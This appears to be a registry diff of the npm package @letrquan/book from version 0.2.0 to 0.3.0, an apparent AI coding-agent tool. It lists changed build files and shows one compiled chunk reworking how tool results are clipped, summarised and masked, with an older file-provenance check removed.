@letrquan/book 0.2.0 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +2747 -40
- package/README.md +132 -1311
- package/dist/additional-roots-H7UNAEHS.js +31 -0
- package/dist/{app-MOXXWEOY.js → app-GE4OHJOC.js} +5740 -4045
- package/dist/app-GE4OHJOC.js.map +1 -0
- package/dist/{chunk-5GDZ22YP.js → chunk-224FJZLH.js} +99 -108
- package/dist/chunk-224FJZLH.js.map +1 -0
- package/dist/chunk-2AAOF5B5.js +28 -0
- package/dist/chunk-2AAOF5B5.js.map +1 -0
- package/dist/{chunk-CAGOB2N4.js → chunk-4AS7LKKQ.js} +6 -4
- package/dist/chunk-4AS7LKKQ.js.map +1 -0
- package/dist/chunk-525CAZPY.js +120 -0
- package/dist/chunk-525CAZPY.js.map +1 -0
- package/dist/{chunk-URLQAXTR.js → chunk-56SIEMDX.js} +2 -2
- package/dist/chunk-56SIEMDX.js.map +1 -0
- package/dist/{chunk-XIFFTATU.js → chunk-5YHTKWJN.js} +5420 -4031
- package/dist/chunk-5YHTKWJN.js.map +1 -0
- package/dist/chunk-62QL5QUP.js +283 -0
- package/dist/chunk-62QL5QUP.js.map +1 -0
- package/dist/{chunk-KWHQ2XXL.js → chunk-67UZEWWF.js} +3 -3
- package/dist/chunk-67UZEWWF.js.map +1 -0
- package/dist/chunk-6OQQOMZR.js +785 -0
- package/dist/chunk-6OQQOMZR.js.map +1 -0
- package/dist/{chunk-GTVB4HEM.js → chunk-AQEQX4FF.js} +344 -315
- package/dist/chunk-AQEQX4FF.js.map +1 -0
- package/dist/chunk-C7ADUNPR.js +273 -0
- package/dist/chunk-C7ADUNPR.js.map +1 -0
- package/dist/{chunk-E75IPST5.js → chunk-EFJ2NH6E.js} +12 -58
- package/dist/chunk-EFJ2NH6E.js.map +1 -0
- package/dist/{chunk-5KLVH3PY.js → chunk-HQI7NYGX.js} +5 -3
- package/dist/chunk-HQI7NYGX.js.map +1 -0
- package/dist/chunk-IME7R2UI.js +6541 -0
- package/dist/chunk-IME7R2UI.js.map +1 -0
- package/dist/chunk-J4F2QLM2.js +273 -0
- package/dist/chunk-J4F2QLM2.js.map +1 -0
- package/dist/{chunk-MAQXCUR4.js → chunk-J62VZYOB.js} +444 -112
- package/dist/chunk-J62VZYOB.js.map +1 -0
- package/dist/chunk-JTPOI3KU.js +826 -0
- package/dist/chunk-JTPOI3KU.js.map +1 -0
- package/dist/{chunk-WKBO5R4O.js → chunk-KBQS35OV.js} +2 -2
- package/dist/chunk-KBQS35OV.js.map +1 -0
- package/dist/chunk-KXAYUIKP.js +90 -0
- package/dist/chunk-KXAYUIKP.js.map +1 -0
- package/dist/{chunk-VZQXX3WW.js → chunk-QYBD22H5.js} +1 -1
- package/dist/chunk-QYBD22H5.js.map +1 -0
- package/dist/{chunk-V4BOYR52.js → chunk-RFJ6Q6LE.js} +763 -198
- package/dist/chunk-RFJ6Q6LE.js.map +1 -0
- package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
- package/dist/chunk-RT5SATF7.js.map +1 -0
- package/dist/{chunk-C7D4NJ2D.js → chunk-S4JMID4G.js} +68 -26
- package/dist/chunk-S4JMID4G.js.map +1 -0
- package/dist/{chunk-ANSJPYGI.js → chunk-SOW4WRQP.js} +3 -3
- package/dist/chunk-SOW4WRQP.js.map +1 -0
- package/dist/{chunk-J7MIZ5CA.js → chunk-TLX3H2CL.js} +518 -79
- package/dist/chunk-TLX3H2CL.js.map +1 -0
- package/dist/{chunk-DGMQEI6Y.js → chunk-VPNLCMVR.js} +22 -9
- package/dist/chunk-VPNLCMVR.js.map +1 -0
- package/dist/{chunk-BTZZUCLI.js → chunk-W3XFHEF4.js} +173 -29
- package/dist/chunk-W3XFHEF4.js.map +1 -0
- package/dist/{chunk-574C6MQR.js → chunk-X4NJT436.js} +130 -60
- package/dist/chunk-X4NJT436.js.map +1 -0
- package/dist/chunk-X66I2NQO.js +137 -0
- package/dist/chunk-X66I2NQO.js.map +1 -0
- package/dist/chunk-XHAO3K7I.js +18 -0
- package/dist/chunk-XHAO3K7I.js.map +1 -0
- package/dist/{chunk-3U5IBM24.js → chunk-Y2VHN7TC.js} +2 -2
- package/dist/chunk-Y2VHN7TC.js.map +1 -0
- package/dist/chunk-YC6W4EJH.js +947 -0
- package/dist/chunk-YC6W4EJH.js.map +1 -0
- package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
- package/dist/chunk-ZPSZZUWF.js.map +1 -0
- package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-VBIU6BLM.js} +6 -5
- package/dist/context-CBOBDY5Q.js +38 -0
- package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-ZVT4V7IM.js} +5 -5
- package/dist/index.js +996 -155
- package/dist/index.js.map +1 -1
- package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-T4I4SEHU.js} +13 -9
- package/dist/interactive-assets-T4I4SEHU.js.map +1 -0
- package/dist/job-runner.js +159 -111
- package/dist/job-runner.js.map +1 -1
- package/dist/job-supervisor.d.ts +2 -0
- package/dist/job-supervisor.js +112 -0
- package/dist/job-supervisor.js.map +1 -0
- package/dist/loader-S77OVTHH.js +18 -0
- package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-HJ2VDYMC.js} +5 -5
- package/dist/{mcp-config-YIJIES2C.js → mcp-config-RNB5LEVE.js} +3 -3
- package/dist/memory-store-DZUT5HUH.js +75 -0
- package/dist/{model-window-store-YFVNXCIP.js → model-window-store-MTSQ5JDJ.js} +8 -4
- package/dist/openai-compatible-2OB54YST.js +14 -0
- package/dist/{permission-approvals-76PVREFD.js → permission-approvals-YLV6UC5W.js} +5 -5
- package/dist/permissions-DHOKF3W2.js +45 -0
- package/dist/sandbox-WRYTZH3D.js +41 -0
- package/dist/{scrollback-LUKLIBVI.js → scrollback-35ME2GFX.js} +32 -22
- package/dist/scrollback-35ME2GFX.js.map +1 -0
- package/dist/sdk.d.ts +2219 -2361
- package/dist/sdk.js +53 -38
- package/dist/sdk.js.map +1 -1
- package/dist/settings-loader-JUNPGAAM.js +35 -0
- package/dist/settings-loader-JUNPGAAM.js.map +1 -0
- package/dist/{shell-selection-V6QAYXPX.js → shell-selection-CDHGJ4GC.js} +2 -2
- package/dist/shell-selection-CDHGJ4GC.js.map +1 -0
- package/package.json +23 -22
- package/dist/app-MOXXWEOY.js.map +0 -1
- package/dist/chunk-24AXE6SP.js.map +0 -1
- package/dist/chunk-3U5IBM24.js.map +0 -1
- package/dist/chunk-574C6MQR.js.map +0 -1
- package/dist/chunk-5GDZ22YP.js.map +0 -1
- package/dist/chunk-5KLVH3PY.js.map +0 -1
- package/dist/chunk-7N4J557C.js.map +0 -1
- package/dist/chunk-A7JLBK2Y.js +0 -3506
- package/dist/chunk-A7JLBK2Y.js.map +0 -1
- package/dist/chunk-ANSJPYGI.js.map +0 -1
- package/dist/chunk-BTZZUCLI.js.map +0 -1
- package/dist/chunk-C7D4NJ2D.js.map +0 -1
- package/dist/chunk-CAGOB2N4.js.map +0 -1
- package/dist/chunk-DGMQEI6Y.js.map +0 -1
- package/dist/chunk-E75IPST5.js.map +0 -1
- package/dist/chunk-EYGD6X2T.js +0 -180
- package/dist/chunk-EYGD6X2T.js.map +0 -1
- package/dist/chunk-GTVB4HEM.js.map +0 -1
- package/dist/chunk-J7MIZ5CA.js.map +0 -1
- package/dist/chunk-KWHQ2XXL.js.map +0 -1
- package/dist/chunk-L6LK2QIQ.js +0 -657
- package/dist/chunk-L6LK2QIQ.js.map +0 -1
- package/dist/chunk-MAQXCUR4.js.map +0 -1
- package/dist/chunk-S4XL7HOM.js +0 -402
- package/dist/chunk-S4XL7HOM.js.map +0 -1
- package/dist/chunk-URLQAXTR.js.map +0 -1
- package/dist/chunk-V4BOYR52.js.map +0 -1
- package/dist/chunk-VZQXX3WW.js.map +0 -1
- package/dist/chunk-WKBO5R4O.js.map +0 -1
- package/dist/chunk-XIFFTATU.js.map +0 -1
- package/dist/context-ZC5IFEAX.js +0 -25
- package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
- package/dist/loader-4IDS2RIE.js +0 -15
- package/dist/openai-compatible-RHZUBHV6.js +0 -10
- package/dist/permissions-CHCKTFQQ.js +0 -28
- package/dist/sandbox-CNVAQDA7.js +0 -23
- package/dist/scrollback-LUKLIBVI.js.map +0 -1
- package/dist/settings-loader-M2QP5TX2.js +0 -21
- package/patches/ink+6.8.0.patch +0 -13
- package/scripts/apply-ink-patch.mjs +0 -29
- package/scripts/ink-patch.mjs +0 -59
- package/scripts/verify-ink-patch.mjs +0 -11
- /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-H7UNAEHS.js.map} +0 -0
- /package/dist/{context-ZC5IFEAX.js.map → command-approvals-VBIU6BLM.js.map} +0 -0
- /package/dist/{hook-approvals-CTUFKEJT.js.map → context-CBOBDY5Q.js.map} +0 -0
- /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-ZVT4V7IM.js.map} +0 -0
- /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-S77OVTHH.js.map} +0 -0
- /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-HJ2VDYMC.js.map} +0 -0
- /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-RNB5LEVE.js.map} +0 -0
- /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-DZUT5HUH.js.map} +0 -0
- /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-MTSQ5JDJ.js.map} +0 -0
- /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-2OB54YST.js.map} +0 -0
- /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-YLV6UC5W.js.map} +0 -0
- /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-DHOKF3W2.js.map} +0 -0
- /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-WRYTZH3D.js.map} +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import {
|
|
2
2
|
resolveBookHome
|
|
3
|
-
} from "./chunk-
|
|
3
|
+
} from "./chunk-ZPSZZUWF.js";
|
|
4
4
|
|
|
5
5
|
// src/tools/aliases.ts
|
|
6
6
|
var TOOL_ALIASES = {
|
|
@@ -73,6 +73,7 @@ function isFileMutatingTool(canonicalName) {
|
|
|
73
73
|
|
|
74
74
|
// src/tools/result.ts
|
|
75
75
|
var TOOL_RESULT_MAX_BYTES = 50 * 1024;
|
|
76
|
+
var READ_EMPTY_FILE_NOTICE = "[Empty file: 0 lines.]";
|
|
76
77
|
var TOOL_OUTPUT_DIRECTORY = join(resolveBookHome(), "tool-output");
|
|
77
78
|
function presentationFor(content, override) {
|
|
78
79
|
return {
|
|
@@ -128,7 +129,9 @@ function toolResultErrorMessage(result) {
|
|
|
128
129
|
}
|
|
129
130
|
function rawToolResultModelContent(result) {
|
|
130
131
|
const content = result.content;
|
|
131
|
-
if (toolResultSucceeded(result))
|
|
132
|
+
if (toolResultSucceeded(result)) {
|
|
133
|
+
return content.trim().length === 0 ? "(no output)" : content;
|
|
134
|
+
}
|
|
132
135
|
const remediation = result.structuredError?.remediation;
|
|
133
136
|
const fix = remediation ? `
|
|
134
137
|
Fix: ${remediation}` : "";
|
|
@@ -137,15 +140,18 @@ ${content}` : "";
|
|
|
137
140
|
return `ERROR [${result.structuredError?.code ?? result.status}]: ${toolResultErrorMessage(result) ?? "tool failed"}${fix}${detail}`;
|
|
138
141
|
}
|
|
139
142
|
function toolResultModelContent(result) {
|
|
143
|
+
if (result.maskedPlaceholder !== void 0) return result.maskedPlaceholder;
|
|
140
144
|
const raw = rawToolResultModelContent(result);
|
|
141
145
|
if (Buffer.byteLength(raw) <= TOOL_RESULT_MAX_BYTES) return raw;
|
|
142
|
-
if (result
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
146
|
+
if (!toolResultSucceeded(result)) {
|
|
147
|
+
const prefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;
|
|
148
|
+
const fix = result.structuredError?.remediation ? `
|
|
149
|
+
Fix: ${result.structuredError.remediation}` : "";
|
|
150
|
+
const budget = Math.max(
|
|
151
|
+
1,
|
|
152
|
+
TOOL_RESULT_MAX_BYTES - Buffer.byteLength(prefix) - Buffer.byteLength(fix)
|
|
148
153
|
);
|
|
154
|
+
return `${prefix}${headTailPreview(failureText(result), result.artifacts?.outputPath, budget)}${fix}`;
|
|
149
155
|
}
|
|
150
156
|
return clippedOutputPreview(raw, result.artifacts?.outputPath, TOOL_RESULT_MAX_BYTES);
|
|
151
157
|
}
|
|
@@ -163,18 +169,30 @@ function utf8Suffix(text, maxBytes) {
|
|
|
163
169
|
while (start < bytes.byteLength && (bytes[start] & 192) === 128) start++;
|
|
164
170
|
return bytes.subarray(start).toString("utf8");
|
|
165
171
|
}
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
172
|
+
var FAILURE_HEAD_MAX_BYTES = 8 * 1024;
|
|
173
|
+
function failureText(result) {
|
|
174
|
+
const message = toolResultErrorMessage(result) ?? "tool failed";
|
|
175
|
+
return result.content ? `${message}
|
|
176
|
+
${result.content}` : message;
|
|
177
|
+
}
|
|
178
|
+
function headTailPreview(text, outputPath, maxBytes) {
|
|
179
|
+
const totalBytes = Buffer.byteLength(text);
|
|
180
|
+
const headWindow = Math.min(FAILURE_HEAD_MAX_BYTES, Math.floor(maxBytes * 0.2));
|
|
181
|
+
const window = utf8Prefix(text, headWindow);
|
|
182
|
+
if (Buffer.byteLength(window) >= totalBytes) return text;
|
|
183
|
+
const lastBreak = window.lastIndexOf("\n");
|
|
184
|
+
const head = lastBreak >= 0 ? window.slice(0, lastBreak + 1) : window;
|
|
185
|
+
const headShown = head.trimEnd();
|
|
186
|
+
const headBytes = Buffer.byteLength(headShown);
|
|
187
|
+
const omittedNotice = (omitted) => outputPath ? `[... ${omitted} bytes omitted. Full output: ${outputPath}]` : `[... ${omitted} bytes omitted. Full output unavailable.]`;
|
|
188
|
+
const reserve = Buffer.byteLength(omittedNotice(totalBytes)) + 2;
|
|
189
|
+
const tailRoom = maxBytes - headBytes - reserve;
|
|
190
|
+
if (tailRoom <= 0) return [headShown, omittedNotice(totalBytes - headBytes)].join("\n");
|
|
191
|
+
const tailWindow = utf8Suffix(text, tailRoom);
|
|
192
|
+
const breakAt = tailWindow.indexOf("\n");
|
|
193
|
+
const tail = breakAt >= 0 ? tailWindow.slice(breakAt + 1) : tailWindow;
|
|
194
|
+
const notice = omittedNotice(totalBytes - headBytes - Buffer.byteLength(tail));
|
|
195
|
+
return [headShown, notice, tail].join("\n");
|
|
178
196
|
}
|
|
179
197
|
function clippedOutputPreview(content, outputPath, maxBytes) {
|
|
180
198
|
const notice = outputPath ? `
|
|
@@ -210,25 +228,21 @@ async function boundToolResultOutput(input, _workspaceRoot, maxBytes = TOOL_RESU
|
|
|
210
228
|
const modelOverflow = modelContentBytes > maxBytes;
|
|
211
229
|
const content = toolResultSucceeded(result) ? contentBytes > maxBytes ? clippedOutputPreview(result.content, outputPath, maxBytes) : result.content : modelOverflow ? "" : result.content;
|
|
212
230
|
const errorPrefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;
|
|
213
|
-
const errorSource = `${toolResultErrorMessage(result) ?? "tool failed"}${result.content ? `
|
|
214
|
-
${result.content}` : ""}`;
|
|
215
231
|
const fixReserve = result.structuredError?.remediation ? Buffer.byteLength(`
|
|
216
232
|
Fix: ${result.structuredError.remediation}`) : 0;
|
|
217
233
|
const errorBudget = Math.max(1, maxBytes - Buffer.byteLength(errorPrefix) - fixReserve);
|
|
218
234
|
const structuredError = result.structuredError ? {
|
|
219
235
|
...result.structuredError,
|
|
220
|
-
message
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
result.status === "timed_out" ? tailPreview(result.structuredError.message, result.content, outputPath, errorBudget) : clippedOutputPreview(errorSource, outputPath, errorBudget)
|
|
226
|
-
) : result.structuredError.message
|
|
236
|
+
// The message and the output are clipped as one text, so a failure
|
|
237
|
+
// keeps both ends: the error line and any framing at the top, and the
|
|
238
|
+
// verdict at the bottom. The room the `Fix:` line needs is reserved
|
|
239
|
+
// above, so the remediation is never what gets clipped.
|
|
240
|
+
message: modelOverflow ? headTailPreview(failureText(result), outputPath, errorBudget) : result.structuredError.message
|
|
227
241
|
} : result.structuredError;
|
|
228
242
|
const clippedDetails = details ? detailsBytes > maxBytes ? (
|
|
229
|
-
// The transcript row reads the same way the model does:
|
|
230
|
-
//
|
|
231
|
-
result
|
|
243
|
+
// The transcript row reads the same way the model does: a failure's
|
|
244
|
+
// head and tail, not one end of it — the same reason as above.
|
|
245
|
+
toolResultSucceeded(result) ? clippedOutputPreview(details, outputPath, maxBytes) : headTailPreview(details, outputPath, maxBytes)
|
|
232
246
|
) : details : toolResultSucceeded(result) ? content : structuredError?.message;
|
|
233
247
|
return {
|
|
234
248
|
...result,
|
|
@@ -253,6 +267,10 @@ function replaceToolResult(result, patch) {
|
|
|
253
267
|
...result,
|
|
254
268
|
status,
|
|
255
269
|
content,
|
|
270
|
+
// New content replaces what the model read: a placeholder standing in for
|
|
271
|
+
// the previous text would hide the rewrite (a PostToolUse hook's
|
|
272
|
+
// `modifiedOutput`, the plan-approval note) behind the line the tool wrote.
|
|
273
|
+
...patch.content !== void 0 ? { maskedPlaceholder: void 0 } : {},
|
|
256
274
|
structuredError: patch.error ?? (status === "success" ? void 0 : result.structuredError),
|
|
257
275
|
presentation: result.presentation || patch.presentation ? presentationFor(content, {
|
|
258
276
|
...result.presentation,
|
|
@@ -285,6 +303,9 @@ function normalizeToolResult(result) {
|
|
|
285
303
|
toolCallId: result.toolCallId,
|
|
286
304
|
status,
|
|
287
305
|
content,
|
|
306
|
+
// Masking's placeholder survives a resume, or a restored compaction's tail
|
|
307
|
+
// would come back at full size.
|
|
308
|
+
..."maskedPlaceholder" in result && result.maskedPlaceholder !== void 0 ? { maskedPlaceholder: result.maskedPlaceholder } : {},
|
|
288
309
|
data: result.data,
|
|
289
310
|
structuredError: error,
|
|
290
311
|
presentation: result.presentation,
|
|
@@ -296,6 +317,37 @@ function normalizeToolResult(result) {
|
|
|
296
317
|
function nonEmptyLines(content) {
|
|
297
318
|
return content.split("\n").filter((line) => line.trim()).length;
|
|
298
319
|
}
|
|
320
|
+
function readLineMetadata(start, count) {
|
|
321
|
+
const first = Math.max(1, Math.floor(start));
|
|
322
|
+
const lines = Math.max(0, Math.floor(count));
|
|
323
|
+
if (lines <= 0) return ["empty"];
|
|
324
|
+
const size = lines === 1 ? "1 line" : `${lines} lines`;
|
|
325
|
+
return first > 1 ? [size, `${first}-${first + lines - 1}`] : [size];
|
|
326
|
+
}
|
|
327
|
+
function readResultMetadata(args, content) {
|
|
328
|
+
if (args.outline === true) {
|
|
329
|
+
const entries = content.split("\n").filter((line) => /^\d+: /.test(line)).length;
|
|
330
|
+
return ["outline", entries === 1 ? "1 entry" : `${entries} entries`];
|
|
331
|
+
}
|
|
332
|
+
let body = content === READ_EMPTY_FILE_NOTICE ? "" : content.replace(/\n\[Lines? \d[^\n]*\]$/, "");
|
|
333
|
+
if (body === content) body = body.replace(/(?:^|\n)\d+: $/, "");
|
|
334
|
+
const lineCount = body ? body.split("\n").length : 0;
|
|
335
|
+
const offset = Number(args.offset ?? 0);
|
|
336
|
+
const start = Number.isFinite(offset) && offset > 0 ? Math.floor(offset) : 1;
|
|
337
|
+
return readLineMetadata(start, lineCount);
|
|
338
|
+
}
|
|
339
|
+
function grepResultMetadata(args, content) {
|
|
340
|
+
const noun = args.output_mode === "files_with_matches" ? "file" : "match";
|
|
341
|
+
if (/^No matches found$/i.test(content.trim()))
|
|
342
|
+
return `0 ${noun === "file" ? "files" : "matches"}`;
|
|
343
|
+
const lines = content.split("\n");
|
|
344
|
+
let count;
|
|
345
|
+
if (noun === "file") count = lines.filter((line) => line.trim()).length;
|
|
346
|
+
else if (args.output_mode === "count") {
|
|
347
|
+
count = lines.reduce((total, line) => total + (Number(/:(\d+)\s*$/.exec(line)?.[1]) || 0), 0);
|
|
348
|
+
} else count = lines.filter((line) => /:\d+:/.test(line)).length || nonEmptyLines(content);
|
|
349
|
+
return `${count} ${count === 1 ? noun : noun === "file" ? "files" : "matches"}`;
|
|
350
|
+
}
|
|
299
351
|
function enrichToolResultPresentation(input, toolName, args) {
|
|
300
352
|
const result = normalizeToolResult(input);
|
|
301
353
|
const name = canonicalToolName(toolName);
|
|
@@ -325,8 +377,8 @@ function enrichToolResultPresentation(input, toolName, args) {
|
|
|
325
377
|
}
|
|
326
378
|
} else if (name === "Read") {
|
|
327
379
|
if (inferKind) kind = "file";
|
|
328
|
-
|
|
329
|
-
|
|
380
|
+
if (inferMetadata && result.status === "success")
|
|
381
|
+
metadata.push(...readResultMetadata(args, content));
|
|
330
382
|
if (inferSummary) summary = target ? `Read ${target}` : summary;
|
|
331
383
|
} else if (name === "Glob") {
|
|
332
384
|
if (inferKind) kind = "search";
|
|
@@ -335,9 +387,11 @@ function enrichToolResultPresentation(input, toolName, args) {
|
|
|
335
387
|
if (inferSummary) summary = `Found ${count} ${count === 1 ? "file" : "files"}`;
|
|
336
388
|
} else if (name === "Grep") {
|
|
337
389
|
if (inferKind) kind = "search";
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
390
|
+
if (result.status === "success") {
|
|
391
|
+
const label = grepResultMetadata(args, content);
|
|
392
|
+
if (inferMetadata) metadata.push(label);
|
|
393
|
+
if (inferSummary) summary = `Found ${label}`;
|
|
394
|
+
}
|
|
341
395
|
} else if (name === "Bash" || name === "BashOutput" || name === "KillShell") {
|
|
342
396
|
if (inferKind) kind = "command";
|
|
343
397
|
if (inferSummary) summary = target ? `${name}: ${target}` : summary;
|
|
@@ -362,88 +416,25 @@ function enrichToolResultPresentation(input, toolName, args) {
|
|
|
362
416
|
};
|
|
363
417
|
}
|
|
364
418
|
|
|
365
|
-
// src/tools/file-provenance.ts
|
|
366
|
-
import { createHash } from "crypto";
|
|
367
|
-
import { readFile, stat } from "fs/promises";
|
|
368
|
-
import { normalize, relative, resolve } from "path";
|
|
369
|
-
function workspaceIdentity(workspaceRoot) {
|
|
370
|
-
const root = normalize(resolve(workspaceRoot));
|
|
371
|
-
const stable = process.platform === "win32" ? root.toLowerCase() : root;
|
|
372
|
-
return createHash("sha256").update(stable).digest("hex").slice(0, 24);
|
|
373
|
-
}
|
|
374
|
-
function observationKey(workspaceId, path) {
|
|
375
|
-
const normalized = path.replace(/\\/g, "/");
|
|
376
|
-
return `${workspaceId}:${process.platform === "win32" ? normalized.toLowerCase() : normalized}`;
|
|
377
|
-
}
|
|
378
|
-
async function observeFile(ctx, absolutePath, operation, coverage) {
|
|
379
|
-
const bytes = await readFile(absolutePath);
|
|
380
|
-
const workspaceId = workspaceIdentity(ctx.workspaceRoot);
|
|
381
|
-
const path = relative(resolve(ctx.workspaceRoot), absolutePath).replace(/\\/g, "/");
|
|
382
|
-
const observation = {
|
|
383
|
-
path,
|
|
384
|
-
workspaceId,
|
|
385
|
-
sha256: createHash("sha256").update(bytes).digest("hex"),
|
|
386
|
-
byteSize: bytes.byteLength,
|
|
387
|
-
lineStart: coverage?.lineStart,
|
|
388
|
-
lineEnd: coverage?.lineEnd,
|
|
389
|
-
operation,
|
|
390
|
-
sourceRef: ctx.currentToolTraceId ?? "runtime-tool",
|
|
391
|
-
timestamp: Date.now()
|
|
392
|
-
};
|
|
393
|
-
ctx.fileObservationLedger?.set(observationKey(workspaceId, path), observation);
|
|
394
|
-
return observation;
|
|
395
|
-
}
|
|
396
|
-
async function requireFreshObservation(ctx, absolutePath, relativePath) {
|
|
397
|
-
const workspaceId = workspaceIdentity(ctx.workspaceRoot);
|
|
398
|
-
const normalizedPath = relativePath.replace(/\\/g, "/");
|
|
399
|
-
const remembered = ctx.fileObservationLedger?.get(observationKey(workspaceId, normalizedPath));
|
|
400
|
-
if (!remembered) return void 0;
|
|
401
|
-
try {
|
|
402
|
-
const info = await stat(absolutePath);
|
|
403
|
-
if (!info.isFile()) return staleMessage(normalizedPath);
|
|
404
|
-
const bytes = await readFile(absolutePath);
|
|
405
|
-
const currentHash = createHash("sha256").update(bytes).digest("hex");
|
|
406
|
-
return currentHash === remembered.sha256 ? void 0 : staleMessage(normalizedPath);
|
|
407
|
-
} catch {
|
|
408
|
-
return staleMessage(normalizedPath);
|
|
409
|
-
}
|
|
410
|
-
}
|
|
411
|
-
function staleMessage(path) {
|
|
412
|
-
return `SKIPPED: ${path} changed or disappeared since it was last shown to the model. Call Read (or mention the file again) before modifying it.`;
|
|
413
|
-
}
|
|
414
|
-
function requireObservationForMutation(ctx, relativePath, retryVerb) {
|
|
415
|
-
const ledger = ctx.fileObservationLedger;
|
|
416
|
-
if (!ledger) return void 0;
|
|
417
|
-
const workspaceId = workspaceIdentity(ctx.workspaceRoot);
|
|
418
|
-
const normalizedPath = relativePath.replace(/\\/g, "/");
|
|
419
|
-
if (ledger.has(observationKey(workspaceId, normalizedPath))) return void 0;
|
|
420
|
-
return toolFailure(
|
|
421
|
-
`SKIPPED: ${normalizedPath} has not been read in this session. Call Read (or mention the file) before modifying it.`,
|
|
422
|
-
{
|
|
423
|
-
code: "file_not_observed",
|
|
424
|
-
remediation: `Read the file first, then retry the ${retryVerb}.`
|
|
425
|
-
}
|
|
426
|
-
);
|
|
427
|
-
}
|
|
428
|
-
|
|
429
419
|
export {
|
|
430
420
|
TOOL_ALIASES,
|
|
431
421
|
canonicalToolName,
|
|
432
422
|
getPrimaryArg,
|
|
433
423
|
isFileMutatingTool,
|
|
424
|
+
TOOL_RESULT_MAX_BYTES,
|
|
425
|
+
READ_EMPTY_FILE_NOTICE,
|
|
434
426
|
toolSuccess,
|
|
435
427
|
toolFailure,
|
|
436
428
|
toolResultSucceeded,
|
|
437
429
|
toolResultErrorMessage,
|
|
438
430
|
toolResultModelContent,
|
|
431
|
+
utf8Prefix,
|
|
439
432
|
boundToolResultOutput,
|
|
440
433
|
replaceToolResult,
|
|
441
434
|
normalizeToolResult,
|
|
442
|
-
|
|
443
|
-
|
|
444
|
-
|
|
445
|
-
|
|
446
|
-
requireFreshObservation,
|
|
447
|
-
requireObservationForMutation
|
|
435
|
+
readLineMetadata,
|
|
436
|
+
readResultMetadata,
|
|
437
|
+
grepResultMetadata,
|
|
438
|
+
enrichToolResultPresentation
|
|
448
439
|
};
|
|
449
|
-
//# sourceMappingURL=chunk-
|
|
440
|
+
//# sourceMappingURL=chunk-224FJZLH.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/tools/aliases.ts","../src/tools/primary-arg.ts","../src/tools/result.ts","../src/tools/tool-capabilities.ts"],"sourcesContent":["/** Legacy tool-name aliases, resolved to their canonical PascalCase names. */\nexport const TOOL_ALIASES: Record<string, string> = {\n read_file: 'Read',\n write_file: 'Write',\n edit_file: 'Edit',\n multi_edit: 'MultiEdit',\n apply_patch: 'ApplyPatch',\n glob: 'Glob',\n glob_files: 'Glob',\n grep: 'Grep',\n bash: 'Bash',\n // Legacy snake_case git tool names — backward compatible.\n git_status: 'GitStatus',\n git_diff: 'GitDiff',\n git_log: 'GitLog',\n git_commit: 'GitCommit',\n git_branch: 'GitBranch',\n};\n\n/** Map a (possibly aliased) tool name to its canonical name for display / matching. */\nexport function canonicalToolName(name: string): string {\n return TOOL_ALIASES[name] ?? name;\n}\n","/**\n * Extract the primary argument from a tool call for display and rule matching.\n *\n * Priority order follows Claude Code's convention:\n * command → shell_id → shellId → taskId → task_id → filePath → file_path\n * → notebook_path → pattern → path → agent → skill → message → url → query → subject\n * → old_string → first string key.\n *\n * `pattern` outranks `path`: for search tools (Grep) the pattern is the\n * rule-matching identity, while `path` is only an optional scope.\n *\n * For command-type args, only the first line is returned.\n */\nexport function getPrimaryArg(args: Record<string, unknown>): string {\n if (typeof args.command === 'string') return args.command.split('\\n')[0];\n if (typeof args.shell_id === 'string') return args.shell_id;\n if (typeof args.shellId === 'string') return args.shellId;\n if (typeof args.taskId === 'string') return args.taskId;\n if (typeof args.task_id === 'string') return args.task_id;\n if (typeof args.filePath === 'string') return args.filePath;\n if (typeof args.file_path === 'string') return args.file_path;\n if (typeof args.patch === 'string') {\n const match = args.patch.match(/^\\*\\*\\* (?:Update|Add|Delete) File: (.+)$/m);\n if (match) return match[1].trim();\n }\n if (typeof args.notebook_path === 'string') return args.notebook_path;\n if (typeof args.pattern === 'string') return args.pattern;\n if (typeof args.path === 'string') return args.path;\n if (typeof args.agent === 'string') return args.agent;\n if (typeof args.skill === 'string') return args.skill;\n if (typeof args.message === 'string') return args.message;\n if (typeof args.url === 'string') return args.url;\n if (typeof args.query === 'string') return args.query;\n if (typeof args.subject === 'string') return args.subject;\n if (typeof args.old_string === 'string') return args.old_string.slice(0, 60);\n const keys = Object.keys(args);\n if (keys.length > 0) {\n const v = args[keys[0]];\n return typeof v === 'string' ? v : '';\n }\n return '';\n}\n","import { mkdir, writeFile } from 'node:fs/promises';\nimport { dirname, join } from 'node:path';\nimport type {\n ToolResult,\n ToolResultArtifacts,\n ToolResultError,\n ToolResultPresentation,\n ToolResultStatus,\n} from '../types/tools.js';\nimport { canonicalToolName } from './aliases.js';\nimport { getPrimaryArg } from './primary-arg.js';\nimport { 